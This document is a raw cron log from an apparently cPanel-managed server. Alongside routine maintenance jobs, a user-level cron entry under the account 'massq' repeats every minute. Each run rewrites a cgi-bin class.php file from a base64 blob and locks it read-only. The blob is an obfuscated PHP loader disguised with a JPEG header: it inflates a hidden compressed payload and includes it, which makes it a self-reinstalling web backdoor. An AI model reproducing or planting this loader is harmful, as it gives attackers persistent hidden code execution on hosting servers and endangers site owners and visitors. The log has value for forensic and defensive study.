Sep  4 21:27:01 server CROND[23674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:27:01 server CROND[23675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:28:01 server CROND[24054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:28:01 server CROND[24055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:28:01 server CROND[24056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:29:01 server CROND[24433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:29:01 server CROND[24434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:29:01 server CROND[24432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:30:01 server CROND[24908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:30:01 server CROND[24910]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:30:01 server CROND[24911]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:30:01 server CROND[24914]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:30:01 server CROND[24915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:30:01 server CROND[24918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:30:01 server CROND[24916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:30:01 server CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:31:01 server CROND[25746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:31:01 server CROND[25747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:31:01 server CROND[25748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:32:01 server CROND[26111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:32:01 server CROND[26112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:32:01 server CROND[26113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:33:01 server CROND[26482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:33:01 server CROND[26483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:33:01 server CROND[26484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:34:01 server CROND[26866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:34:01 server CROND[26867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:34:01 server CROND[26868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:35:01 server CROND[27352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 21:35:01 server CROND[27353]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 21:35:01 server CROND[27361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:35:01 server CROND[27363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:35:01 server CROND[27373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:35:01 server CROND[27370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:35:01 server CROND[27372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:35:01 server CROND[27371]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 21:35:01 server CROND[27374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:36:01 server CROND[28185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:36:01 server CROND[28186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:36:01 server CROND[28187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:37:01 server CROND[28552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:37:01 server CROND[28553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:37:01 server CROND[28554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:38:01 server CROND[28919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:38:01 server CROND[28920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:38:01 server CROND[28921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:39:01 server CROND[29325]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 21:39:01 server CROND[29324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 21:39:01 server CROND[29326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
